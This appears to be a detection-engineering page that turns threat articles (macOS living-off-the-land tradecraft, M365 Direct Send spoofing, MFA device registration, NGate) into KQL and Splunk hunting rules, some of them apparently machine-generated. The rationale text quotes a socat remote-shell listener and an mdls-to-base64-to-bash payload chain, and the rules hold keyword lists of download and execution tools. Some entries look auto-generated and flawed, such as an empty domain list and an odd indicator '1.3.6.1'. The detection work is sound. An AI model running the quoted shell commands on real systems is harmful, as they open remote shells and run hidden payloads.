Actions on Objectives. Lateral movement, credential dumping, data theft, ransomware, sabotage.
Phishing-link click correlated to endpoint executionDeliveryHigh
User received an external email containing a URL, clicked it, and within
60 seconds the recipient's endpoint spawned a scripting interpreter or
network downloader (PowerShell / cmd / mshta / curl / certutil / bitsadmin).
This is the high-fidelity shape — a raw "user clicked an emailed URL"
query is too noisy to alert on because every Microsoft 365 tenant
generates thousands of legitimate clicks per day. The exec-correlation
step suppresses the noise to roughly the rate at which a click actually
drives onto-host execution, which is the actionable signal.
Pair with UC_PHISH_LINK_BYPASS (Safe Links override) and UC_PHISH_LINK_NEWDOMAIN
for orthogonal high-fidelity variants.
ATT&CKT1566.002T1204.001T1059.001
Data sourcesEmail.All_EmailWebEndpoint.ProcessesEmailEventsEmailUrlInfoUrlClickEventsDeviceProcessEvents
// Phishing-link click that drives endpoint execution within 60s.
// Far higher fidelity than "every clicked URL" — most legitimate clicks
// never spawn a non-browser child process, so the join eliminates the
// 99% of noise that makes a raw click query unactionable.
let LookbackDays = 7d;
let SuspectClicks = UrlClickEvents
| where Timestamp > ago(LookbackDays)
| where ActionType in ("ClickAllowed","ClickedThrough")
| join kind=inner (
EmailEvents
| where Timestamp > ago(LookbackDays)
| where DeliveryAction == "Delivered"
| where EmailDirection == "Inbound"
| project NetworkMessageId, Subject, SenderFromAddress, SenderFromDomain,
RecipientEmailAddress, EmailTimestamp = Timestamp
) on NetworkMessageId
| join kind=leftouter (
EmailUrlInfo | project NetworkMessageId, Url, UrlDomain
) on NetworkMessageId, Url
| project ClickTime = Timestamp, AccountUpn, IPAddress, Url, UrlDomain,
Subject, SenderFromAddress, SenderFromDomain, RecipientEmailAddress,
ActionType;
// Correlate to a non-browser child process spawned within 60 seconds on
// the recipient's device.
DeviceProcessEvents
| where Timestamp > ago(LookbackDays)
| where InitiatingProcessFileName in~ ("chrome.exe","msedge.exe","firefox.exe",
"outlook.exe","brave.exe","arc.exe")
| where FileName in~ ("powershell.exe","pwsh.exe","cmd.exe","mshta.exe",
"rundll32.exe","regsvr32.exe","wscript.exe","cscript.exe",
"bitsadmin.exe","certutil.exe","curl.exe","wget.exe")
| join kind=inner SuspectClicks on $left.AccountName == $right.AccountUpn
| where Timestamp between (ClickTime .. ClickTime + 60s)
| project ClickTime, ProcessTime = Timestamp,
DelaySec = datetime_diff('second', Timestamp, ClickTime),
DeviceName, AccountName, RecipientEmailAddress, SenderFromAddress,
Subject, Url, UrlDomain, ActionType,
FileName, ProcessCommandLine, InitiatingProcessFileName
| order by ClickTime desc
``` Phishing-link click that drives endpoint execution within 60s ```
| tstats `summariesonly` earliest(_time) AS click_time
from datamodel=Web
where Web.action="allowed"
by Web.src, Web.user, Web.dest, Web.url
| `drop_dm_object_name(Web)`
| rename user AS recipient, dest AS clicked_domain, url AS clicked_url
| join type=inner recipient
[| tstats `summariesonly` count
from datamodel=Email.All_Email
where All_Email.action="delivered" AND All_Email.url!="-"
by All_Email.recipient, All_Email.src_user, All_Email.url, All_Email.subject
| `drop_dm_object_name(All_Email)`
| rex field=url "https?://(?<email_domain>[^/]+)"
| rename recipient AS recipient]
| join type=inner src
[| tstats `summariesonly` earliest(_time) AS exec_time
values(Processes.process) AS exec_cmd, values(Processes.process_name) AS exec_proc
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("chrome.exe","msedge.exe","firefox.exe",
"outlook.exe","brave.exe","arc.exe")
AND Processes.process_name IN ("powershell.exe","pwsh.exe","cmd.exe","mshta.exe",
"rundll32.exe","regsvr32.exe","wscript.exe",
"cscript.exe","bitsadmin.exe","certutil.exe",
"curl.exe","wget.exe")
by Processes.dest, Processes.user
| `drop_dm_object_name(Processes)`
| rename dest AS src]
| eval delta_sec = exec_time - click_time
| where delta_sec >= 0 AND delta_sec <= 60
| table click_time, exec_time, delta_sec, recipient, src, src_user, subject,
clicked_domain, clicked_url, exec_proc, exec_cmd
| sort - click_time
Email attachment opened from external senderDeliveryHigh
Attachment delivery + execution by recipient — most common malware initial access.
ATT&CKT1566.001T1204.002
Data sourcesEmail.All_EmailEndpoint.ProcessesEmailAttachmentInfoDeviceProcessEvents
let LookbackDays = 7d;
let MalAttachments = EmailAttachmentInfo
| where Timestamp > ago(LookbackDays)
| project NetworkMessageId, RecipientEmailAddress,
AttachmentFileName = FileName, AttachmentSHA256 = SHA256;
DeviceProcessEvents
| where Timestamp > ago(LookbackDays)
| where InitiatingProcessFileName in~ ("OUTLOOK.EXE","winword.exe","excel.exe","powerpnt.exe")
| where FileName in~ ("cmd.exe","powershell.exe","wscript.exe","cscript.exe",
"mshta.exe","rundll32.exe","regsvr32.exe")
| join kind=inner MalAttachments on $left.AccountUpn == $right.RecipientEmailAddress
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine,
InitiatingProcessFileName, AttachmentFileName, AttachmentSHA256
| tstats `summariesonly` count
from datamodel=Email.All_Email
where All_Email.file_name!="-"
by All_Email.src_user, All_Email.recipient, All_Email.file_name, All_Email.subject
| rename All_Email.recipient as user
| join type=inner user
[| tstats `summariesonly` count
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("OUTLOOK.EXE","winword.exe","excel.exe","powerpnt.exe")
AND Processes.process_name IN ("cmd.exe","powershell.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| rename Processes.user as user]
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("winword.exe","excel.exe","powerpnt.exe","outlook.exe","onenote.exe","mspub.exe","visio.exe")
| where FileName in~ ("cmd.exe","powershell.exe","pwsh.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe","wmic.exe","bitsadmin.exe","certutil.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("winword.exe","excel.exe","powerpnt.exe","outlook.exe","onenote.exe","mspub.exe","visio.exe")
AND Processes.process_name IN ("cmd.exe","powershell.exe","pwsh.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe","wmic.exe","bitsadmin.exe","certutil.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
Browser-pasted PowerShell launched from explorer/Run dialog — ClickFix social engineering.
ATT&CKT1204.004T1059.001
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("explorer.exe","RuntimeBroker.exe")
| where FileName in~ ("powershell.exe","pwsh.exe","mshta.exe")
| where ProcessCommandLine matches regex @"(?i)(iex|invoke-expression|frombase64|downloadstring|hxxp|curl |wget )"
| project Timestamp, DeviceName, AccountName, ProcessCommandLine, InitiatingProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("explorer.exe","RuntimeBroker.exe")
AND Processes.process_name IN ("powershell.exe","pwsh.exe","mshta.exe")
AND (Processes.process="*iex*" OR Processes.process="*Invoke-Expression*"
OR Processes.process="*FromBase64*" OR Processes.process="*DownloadString*"
OR Processes.process="*hxxp*" OR Processes.process="*curl*" OR Processes.process="*wget*")
by Processes.dest, Processes.user, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
[LLM] M365 Direct Send abuse: external IP delivering 'internal' email via tenant smart hostDeliveryHigh
Hunts the 2025 phishing trend described in the article where attackers abuse Microsoft 365 Direct Send (tenant.mail.protection.outlook.com smart host) to inject mail that appears From: an internal sender without authenticating. Surfaces messages where the From and To domains match the org but SPF/DKIM/DMARC failed and the originating IP is external — the exact signature of Direct Send spoofing.
Rationale: The article calls out M365 Direct Send abuse as a defining 2025 trend and explicitly recommends 'Reject Direct Send'. The high-fidelity signature is the contradiction: From/To both internal-domain AND external originating IP AND SPF/DKIM/DMARC fail — legitimate Direct Send from on-prem MFPs should originate from the org's egress IPs and pass SPF. Cross-checked Varonis, Proofpoint, Bleeping Computer, and Mimecast write-ups which all confirm this exact detection pattern.
Cross-checked against:
• https://www.varonis.com/blog/direct-send-exploit
• https://www.proofpoint.com/us/blog/email-and-cloud-threats/attackers-abuse-m365-for-internal-phishing
• https://www.bleepingcomputer.com/news/security/microsoft-365-direct-send-abused-to-send-phishing-as-internal-users/
• https://www.mimecast.com/threat-intelligence-hub/microsoft-direct-send-abuse/
ATT&CKT1566.002T1566.001T1656
Data sourcesEmail.All_Email
// Direct Send abuse: internal-looking sender, external originating IP, auth failures
let internal_domains = dynamic(["contoso.com","contoso.onmicrosoft.com"]); // <-- replace
EmailEvents
| where Timestamp > ago(7d)
| where DeliveryAction == "Delivered"
| extend SenderDomain = tolower(tostring(split(SenderFromAddress, "@")[1]))
| extend RecipientDomain = tolower(tostring(split(RecipientEmailAddress, "@")[1]))
| where SenderDomain in (internal_domains) and RecipientDomain in (internal_domains)
| where AuthenticationDetails has_any ("spf=fail","spf=softfail","spf=none","dmarc=fail","dkim=fail","compauth=fail")
| where isnotempty(SenderIPv4)
| where not(ipv4_is_private(SenderIPv4))
| project Timestamp, NetworkMessageId, SenderFromAddress, RecipientEmailAddress, Subject, SenderIPv4, AuthenticationDetails, EmailDirection, DeliveryLocation, UrlCount, AttachmentCount
| join kind=leftouter (EmailUrlInfo | project NetworkMessageId, Url, UrlDomain) on NetworkMessageId
| order by Timestamp desc
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime values(All_Email.src) as src_ip values(All_Email.subject) as subject values(All_Email.message_id) as message_id from datamodel=Email where All_Email.action=delivered by All_Email.src_user All_Email.recipient All_Email.orig_recipient | `drop_dm_object_name(All_Email)` | rex field=src_user "@(?<from_domain>[^>\s]+)" | rex field=recipient "@(?<to_domain>[^>\s]+)" | where from_domain==to_domain | search [| inputlookup internal_domains.csv | fields from_domain] | search src_ip!="10.*" src_ip!="172.1[6-9].*" src_ip!="172.2[0-9].*" src_ip!="172.3[0-1].*" src_ip!="192.168.*" | join type=left message_id [search index=o365 sourcetype="o365:reporting:messagetrace" OR sourcetype="ms:o365:management" "*.mail.protection.outlook.com" | rename MessageId as message_id | fields message_id, ConnectorId, AuthenticationResults] | where like(AuthenticationResults,"%spf=fail%") OR like(AuthenticationResults,"%spf=softfail%") OR like(AuthenticationResults,"%dmarc=fail%") OR like(AuthenticationResults,"%dkim=fail%") | `security_content_ctime(firstTime)` | table firstTime src_ip from_domain src_user recipient subject message_id AuthenticationResults
[LLM] Adversary-registered MFA device shortly after sign-in from a different IP / countryInstallationHigh
Hunts the 178% surge in device-compromise attacks the article attributes to vishing of admins to register attacker-owned MFA devices. Correlates an Entra interactive sign-in with a subsequent 'Register device' / 'Add authentication method' audit event where the registration IP differs from the sign-in IP within a short window — the documented Storm-2372/scattered-spider style pattern.
Rationale: The article specifically calls out a 178% surge in device compromise driven by 'voice phishing designed to trick administrators into registering malicious devices' and a third of MFA spray attacks targeting IAM. The IP/country mismatch between the user's sign-in and the device-registration audit event is the documented Storm-2372 pattern. Cross-checked Microsoft's Storm-2372 advisory, MITRE DET0036 (Suspicious Device Registration), and the Microsoft Community Hub KQL guide on MFA manipulation hunting.
Cross-checked against:
• https://www.microsoft.com/en-us/security/blog/2025/02/13/storm-2372-conducts-device-code-phishing-campaign/
• https://attack.mitre.org/detectionstrategies/DET0036/
• https://techcommunity.microsoft.com/blog/microsoftsecurityexperts/hunting-for-mfa-manipulations-in-entra-id-tenants-using-kql/4154039
• https://www.bleepingcomputer.com/news/security/hackers-target-microsoft-entra-accounts-in-device-code-vishing-attacks/
ATT&CKT1098.005T1556.006T1621T1566.004
Data sourcesAuthentication.AuthenticationChange.All_Changes
// MFA device / auth-method registration with IP mismatch vs the originating sign-in (vishing-driven device compromise)
let window = 1h;
let registrations = CloudAppEvents
| where Timestamp > ago(7d)
| where Application in ("Office 365","Microsoft Entra ID","Azure Active Directory")
| where ActionType in ("Register device","Add registered owner to device","Add device","User registered security info","User registered all required security info","Update user","Add authentication method","Register security info")
| extend RegIP = tostring(parse_json(RawEventData).ActorIpAddress)
| extend TargetUser = tolower(tostring(parse_json(RawEventData).ObjectId))
| project RegTime=Timestamp, ActionType, TargetUser, RegIP, AccountObjectId, ReportId;
let signins = AADSignInEventsBeta
| where Timestamp > ago(7d)
| where ErrorCode == 0
| where IsInteractive == true or RiskLevelDuringSignIn != "none"
| project SignInTime=Timestamp, AccountUpn=tolower(AccountUpn), SignInIP=IPAddress, SignInCountry=Country, ClientAppUsed, AuthenticationProcessingDetails, ResourceDisplayName;
registrations
| join kind=inner (signins) on $left.TargetUser == $right.AccountUpn
| where RegTime between (SignInTime .. (SignInTime + window))
| where SignInIP != RegIP
| extend Suspicious = iff(SignInCountry != "" and tostring(geo_info_from_ip_address(RegIP).country) != SignInCountry, "country_mismatch", "ip_mismatch")
| project RegTime, SignInTime, TargetUser, SignInIP, SignInCountry, RegIP, RegCountry=tostring(geo_info_from_ip_address(RegIP).country), ActionType, ClientAppUsed, ResourceDisplayName, Suspicious
| order by RegTime desc
| tstats `summariesonly` count min(_time) as auth_time values(Authentication.src) as auth_src values(Authentication.src_ip) as auth_ip from datamodel=Authentication where Authentication.app="Azure Active Directory" Authentication.action=success by Authentication.user Authentication.signature_id | `drop_dm_object_name(Authentication)` | join type=inner user [| tstats `summariesonly` count min(_time) as reg_time values(All_Changes.src) as reg_src values(All_Changes.src_ip) as reg_ip values(All_Changes.object) as device from datamodel=Change where All_Changes.action=created (All_Changes.change_type="AAD" OR All_Changes.vendor_product="Azure Active Directory") (All_Changes.command IN ("Register device","Add registered owner to device","Update authentication phone","User registered security info","Add authentication method","Register security info")) by All_Changes.user | `drop_dm_object_name(All_Changes)` | rename user as user reg_time as reg_time] | eval delta=abs(reg_time-auth_time) | where delta<3600 AND auth_ip!=reg_ip | iplocation auth_ip prefix=auth_ | iplocation reg_ip prefix=reg_ | where auth_Country!=reg_Country OR isnull(auth_Country) | table auth_time reg_time delta user auth_ip auth_Country reg_ip reg_Country device
2026-04-217 use cases5 techniques6 kill-chain phases detected
Cisco Talos documents several macOS living-off-the-land (LOTL) techniques, demonstrating that native pathways for movement and execution remain accessible to those who understand the underlying architecture.
ATT&CKT1021.002T1021.005T1072T1190T1570
IPs1.3.6.1
Click any ATT&CK pill below to open it on the Matrix
Phase 1
Reconnaissance
Detected
Phase 2
Weaponization
Detected
Phase 3
Delivery
—
Phase 4
Exploitation
Detected
Phase 5
Installation
Detected
Phase 6
Command & Control
Detected
Phase 7
Actions on Objectives
Detected
Reconnaissance. Attacker researches the target — OSINT, scanning, enumeration.
Exploitation. Triggering the exploit — vulnerability/macro/trust abuse to execute code. → Article-specific behavioural hunt — Bad Apples: Weaponizing native macOS primitives for movement and execution · [LLM] Remote Apple Events (eppc) Terminal.app proxy executing Base64-decoded payloads
Installation. Establishing persistence on the host — backdoor, service, scheduled task, registry key. → RMM tool installed by non-IT user — remote-access utility for hands-on-keyboard · [LLM] macOS Finder Comment (kMDItemFinderComment) payload extraction and execution
Command & Control. Beacon to attacker infrastructure for control and tasking. → Network connections to article IPs / domains · [LLM] socat interactive PTY listener bypassing SSH telemetry on macOS
Actions on Objectives. Lateral movement, credential dumping, data theft, ransomware, sabotage. → Remote service execution — PsExec / SMB lateral movement
Remote service execution — PsExec / SMB lateral movementActions on ObjectivesHigh
psexec / paexec / smbexec / wmic /node — service install over SMB from remote host.
ATT&CKT1021.002T1569.002
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("psexec.exe","psexesvc.exe","paexec.exe","smbexec.py")
or (FileName =~ "wmic.exe" and ProcessCommandLine has "/node:")
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.process_name IN ("psexec.exe","psexesvc.exe","paexec.exe","smbexec.py")
OR (Processes.process_name="wmic.exe" AND Processes.process="*/node:*")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
RMM tool installed by non-IT user — remote-access utility for hands-on-keyboardInstallationHigh
ConnectWise / AnyDesk / TeamViewer / ScreenConnect / Atera installed outside IT change windows = common tradecraft for ransomware affiliates and IT-helpdesk impersonators.
ATT&CKT1219
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("AnyDesk.exe","TeamViewer.exe","TeamViewer_Service.exe",
"ScreenConnect.ClientService.exe","ConnectWiseControl.ClientService.exe",
"atera_agent.exe","SplashtopStreamer.exe","RustDesk.exe","NinjaOne.exe")
or FileName matches regex @"(?i)kaseya.*\.exe"
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.process_name IN ("AnyDesk.exe","TeamViewer.exe","TeamViewer_Service.exe",
"ScreenConnect.ClientService.exe","ConnectWiseControl.ClientService.exe",
"atera_agent.exe","SplashtopStreamer.exe","RustDesk.exe","NinjaOne.exe","kaseya*.exe")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Network connections to article IPs / domainsCommand & ControlHigh
Outbound traffic to attacker infrastructure named in the article.
ATT&CKT1071
Data sourcesNetwork_Traffic.All_TrafficWebNetwork_Resolution.DNSDeviceNetworkEvents
DeviceNetworkEvents
| where Timestamp > ago(7d)
| where RemoteIP in ("1.3.6.1") or RemoteUrl has_any ("")
| project Timestamp, DeviceName, ActionType, RemoteIP, RemotePort, RemoteUrl,
InitiatingProcessFileName, InitiatingProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Network_Traffic.All_Traffic
where All_Traffic.dest IN ("1.3.6.1")
by All_Traffic.src, All_Traffic.dest, All_Traffic.dest_port
| `drop_dm_object_name(All_Traffic)`
| append
[| tstats `summariesonly` count from datamodel=Web
where Web.dest IN ("")
by Web.src, Web.dest, Web.url, Web.user
| `drop_dm_object_name(Web)`]
| append
[| tstats `summariesonly` count from datamodel=Network_Resolution.DNS
where DNS.query IN ("")
by DNS.src, DNS.query, DNS.answer
| `drop_dm_object_name(DNS)`]
Article-specific behavioural hunt — Bad Apples: Weaponizing native macOS primitives for movement and executionExploitationHigh
Auto-generated hunt targeting the specific binaries, paths, registry locations and command-line fragments named in this article. Hunting tier — needs analyst review and environment tuning before promotion to alerting.
ATT&CKT1543.001T1543.004
Data sourcesEndpoint.ProcessesEndpoint.FilesystemEndpoint.Registry
// Article-specific bespoke detection — Bad Apples: Weaponizing native macOS primitives for movement and execution
// Hunts the actual binaries / paths / commandline fragments named
// in the article instead of a generic technique-class template.
DeviceProcessEvents
| where Timestamp > ago(30d)
| where (FileName in~ ("script.sh"))
| project Timestamp, DeviceName, AccountName, FileName,
FolderPath, ProcessCommandLine,
InitiatingProcessFileName, InitiatingProcessCommandLine
| order by Timestamp desc
// File-creation events for the named binaries / paths
DeviceFileEvents
| where Timestamp > ago(30d)
| where ActionType in ("FileCreated","FileModified")
| where (FolderPath has_any ("/Library/LaunchAgents", "/private/tftpboot", "/usr/bin/snmptrap", "/usr/sbin/snmptrapd", "/System/Library/LaunchDaemons") or FileName in~ ("script.sh"))
| project Timestamp, DeviceName, AccountName, FolderPath,
FileName, ActionType, InitiatingProcessFileName,
InitiatingProcessCommandLine
| order by Timestamp desc
``` Article-specific bespoke detection — Bad Apples: Weaponizing native macOS primitives for movement and execution ```
| tstats `summariesonly` count earliest(_time) AS firstTime latest(_time) AS lastTime
from datamodel=Endpoint.Processes
where (Processes.process_name IN ("script.sh"))
by Processes.dest, Processes.user, Processes.process_name,
Processes.process, Processes.parent_process_name, Processes.process_path
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)`
| append [
| tstats `summariesonly` count
from datamodel=Endpoint.Filesystem
where Filesystem.action IN ("created","modified")
AND (Filesystem.file_path="*/Library/LaunchAgents*" OR Filesystem.file_path="*/private/tftpboot*" OR Filesystem.file_path="*/usr/bin/snmptrap*" OR Filesystem.file_path="*/usr/sbin/snmptrapd*" OR Filesystem.file_path="*/System/Library/LaunchDaemons*" OR Filesystem.file_name IN ("script.sh"))
by Filesystem.dest, Filesystem.user, Filesystem.process_name,
Filesystem.file_path, Filesystem.file_name
| `drop_dm_object_name(Filesystem)`
]
[LLM] macOS Finder Comment (kMDItemFinderComment) payload extraction and executionInstallationHigh
Hunts the article's covert staging-then-execute chain in which a Base64 payload is hidden in Spotlight Finder Comment metadata and extracted with `mdls` (or `osascript` reading Finder's `comment of`) piped through `base64 -D` into `bash`/`sh`. Specifically targets the metadata-as-stager primitive that bypasses file-content scanning.
Rationale: `mdls -name kMDItemFinderComment -raw <file> | base64 -D | bash` and the `osascript`/`Finder`-comment variant are explicitly demonstrated by Talos as the extraction one-liner. The combination of `kMDItemFinderComment` + `base64` + a shell on the same command line has effectively zero benign baseline. Cross-checked with Eclectic Light Company's independent reproduction of the same Talos chain.
Cross-checked against:
• https://eclecticlight.co/2026/04/28/finder-comments-steganography-and-malware/
• https://developer.apple.com/documentation/coreservices/kmditemfindercomment
• https://attack.mitre.org/techniques/T1059/002/
ATT&CKT1027.011T1140T1059.002
Data sourcesEndpoint.Processes
DeviceProcessEvents
| where Timestamp > ago(7d)
| where DeviceType == "Mac" or InitiatingProcessVersionInfoFileDescription has "mac" or FolderPath startswith "/usr/" or FolderPath startswith "/bin/"
| where (FileName == "mdls" and ProcessCommandLine has "kMDItemFinderComment" and ProcessCommandLine has "base64")
or (FileName == "osascript" and ProcessCommandLine has "comment of" and ProcessCommandLine has "Finder" and ProcessCommandLine has "base64")
or (FileName in ("bash","sh","zsh") and InitiatingProcessCommandLine has "kMDItemFinderComment" and InitiatingProcessCommandLine has "base64")
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessParentFileName
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.os="macOS" AND ((Processes.process_name=mdls AND Processes.process="*kMDItemFinderComment*" AND (Processes.process="*base64*" OR Processes.process="*| bash*" OR Processes.process="*|bash*" OR Processes.process="*| sh*")) OR (Processes.process_name=osascript AND Processes.process="*comment of*" AND Processes.process="*Finder*" AND Processes.process="*base64*")) by Processes.dest Processes.user Processes.process_name Processes.process Processes.parent_process_name Processes.parent_process | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)`
[LLM] Remote Apple Events (eppc) Terminal.app proxy executing Base64-decoded payloadsExploitationHigh
Detects the article's RAS execution-proxy methodology: a remote `eppc://` Apple Event arrives via `appleeventsd` and tells `Terminal.app` to `do script` a Base64 blob written to disk, followed by `chmod +x` and a `bash` invocation. This catches RAS-driven RCE that bypasses System Events' -10016 handler restriction.
Rationale: Talos explicitly describes the two-stage RAS bypass: stage 1 sends a `do script` to `Terminal.app` to write+`chmod +x` a Base64 blob, stage 2 invokes `bash`. Pivoting on `Terminal`/`appleeventsd` parent + chmod-of-temp-file + base64 decode within the same lineage is article-specific and not covered by generic AppleScript rules. Corroborated against MITRE T1021.005 and the LOOBins osascript page.
Cross-checked against:
• https://attack.mitre.org/techniques/T1021/005/
• https://www.loobins.io/binaries/osascript/
• https://attack.mitre.org/techniques/T1059/002/
ATT&CKT1021.005T1072T1059.002
Data sourcesEndpoint.ProcessesNetwork_Traffic.All_Traffic
let RasChildren = DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("Terminal","appleeventsd") or InitiatingProcessParentFileName =~ "appleeventsd"
| where FileName in~ ("bash","sh","zsh","chmod")
| where ProcessCommandLine has_any ("base64 -D","base64 --decode","chmod +x /tmp/","chmod +x /var/folders/","do script");
let EppcConn = DeviceNetworkEvents
| where Timestamp > ago(7d)
| where RemotePort == 3031 or LocalPort == 3031
| project EppcTime=Timestamp, DeviceId, DeviceName, RemoteIP, LocalIP;
RasChildren
| join kind=leftouter (EppcConn) on DeviceId
| where isnull(EppcTime) or abs(datetime_diff('minute', Timestamp, EppcTime)) <= 10
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessParentFileName, RemoteIP, EppcTime
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.os="macOS" AND (Processes.parent_process_name="Terminal" OR Processes.parent_process_name="appleeventsd" OR Processes.grandparent_process_name="appleeventsd") AND (Processes.process_name=bash OR Processes.process_name=sh OR Processes.process_name=zsh OR Processes.process_name=chmod) AND (Processes.process="*chmod +x*/tmp/*" OR Processes.process="*chmod +x*/var/folders/*" OR Processes.process="*base64 -D*" OR Processes.process="*base64 --decode*" OR Processes.process="*do script*") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)`
Detects the article's non-SSH interactive remote-shell pattern: `socat` bound to a TCP listener with `pty,stderr` and `reuseaddr,fork` options spawning a login shell. SOC pipelines built on sshd/PAM telemetry will miss this; this rule fills that gap.
Rationale: Talos publishes the exact listener syntax: `socat TCP-LISTEN:<port>,reuseaddr,fork EXEC:'bash -li',pty,stderr`. The four-token combo (TCP-LISTEN + EXEC + pty + fork/reuseaddr) on a single `socat` invocation is essentially never benign on developer workstations and is invisible to SSH-centric detections. MITRE T1572 / T1059.004 mappings cross-checked.
Cross-checked against:
• https://attack.mitre.org/techniques/T1572/
• https://attack.mitre.org/techniques/T1059/004/
ATT&CKT1071.001T1572T1059.004
Data sourcesEndpoint.Processes
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName =~ "socat"
| where ProcessCommandLine has_any ("TCP-LISTEN","TCP4-LISTEN","tcp-listen")
| where ProcessCommandLine has_any ("EXEC:","exec:")
| where ProcessCommandLine has_any ("pty","stderr")
| where ProcessCommandLine has_any ("fork","reuseaddr")
| project Timestamp, DeviceName, AccountName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessParentFileName
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.os="macOS" AND Processes.process_name=socat AND (Processes.process="*TCP-LISTEN*" OR Processes.process="*tcp-listen*" OR Processes.process="*TCP4-LISTEN*") AND (Processes.process="*EXEC:*" OR Processes.process="*exec:*") AND (Processes.process="*pty*" OR Processes.process="*stderr*") AND (Processes.process="*fork*" OR Processes.process="*reuseaddr*") by Processes.dest Processes.user Processes.process Processes.parent_process_name Processes.parent_process | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)`
Delivery. Transmitting the weapon (phishing email, USB, watering hole, drive-by, malicious ad). → Phishing-link click correlated to endpoint execution · Email attachment opened from external sender · [LLM] Trojanized HandyPay APK delivery (PROTECAO_CARTAO.apk / Rio_de_Premios_Pagamento.apk hash hits)
Exploitation. Triggering the exploit — vulnerability/macro/trust abuse to execute code. → Office app spawning script/LOLBin child process
Installation. Establishing persistence on the host — backdoor, service, scheduled task, registry key.
Command & Control. Beacon to attacker infrastructure for control and tasking. → Beaconing — periodic outbound to small set of destinations · Network connections to article IPs / domains · [LLM] NGate HandyPay C&C beacon / distribution traffic (protecaocartao.online, 108.165.230.223)
Actions on Objectives. Lateral movement, credential dumping, data theft, ransomware, sabotage.
Beaconing — periodic outbound to small set of destinationsCommand & ControlMedium
C2 channel detection via inter-beacon-time stddev / fan-out to single dest.
ATT&CKT1071.001T1071.004
Data sourcesNetwork_Traffic.All_TrafficDeviceNetworkEvents
DeviceNetworkEvents
| where Timestamp > ago(1d)
| where RemoteIPType == "Public" and ActionType == "ConnectionSuccess"
| project DeviceName, RemoteIP, RemotePort, Timestamp
| sort by DeviceName asc, RemoteIP asc, RemotePort asc, Timestamp asc
| extend prev_dev = prev(DeviceName, 1), prev_ip = prev(RemoteIP, 1),
prev_port = prev(RemotePort, 1), prev_ts = prev(Timestamp, 1)
| where DeviceName == prev_dev and RemoteIP == prev_ip and RemotePort == prev_port
| extend delta_sec = datetime_diff('second', Timestamp, prev_ts)
| summarize conn_count = count(), avg_delta = avg(delta_sec), stdev_delta = stdev(delta_sec)
by DeviceName, RemoteIP, RemotePort
| where conn_count > 30 and avg_delta between (30.0 .. 600.0) and stdev_delta < 5.0
| order by conn_count desc
| tstats `summariesonly` count, values(All_Traffic.dest_port) AS ports
from datamodel=Network_Traffic.All_Traffic
where All_Traffic.action="allowed" AND All_Traffic.dest_category!="internal"
by _time span=10s, All_Traffic.src, All_Traffic.dest
| `drop_dm_object_name(All_Traffic)`
| streamstats current=f last(_time) AS prev_time by src, dest
| eval delta = _time - prev_time
| stats avg(delta) AS avg_delta stdev(delta) AS sd_delta count by src, dest
| where count > 30 AND sd_delta < 5 AND avg_delta>=30 AND avg_delta<=600
| sort - count
Network connections to article IPs / domainsCommand & ControlHigh
Outbound traffic to attacker infrastructure named in the article.
ATT&CKT1071
Data sourcesNetwork_Traffic.All_TrafficWebNetwork_Resolution.DNSDeviceNetworkEvents
DeviceNetworkEvents
| where Timestamp > ago(7d)
| where RemoteIP in ("104.21.91.170", "108.165.230.223") or RemoteUrl has_any ("ao.online")
| project Timestamp, DeviceName, ActionType, RemoteIP, RemotePort, RemoteUrl,
InitiatingProcessFileName, InitiatingProcessCommandLine
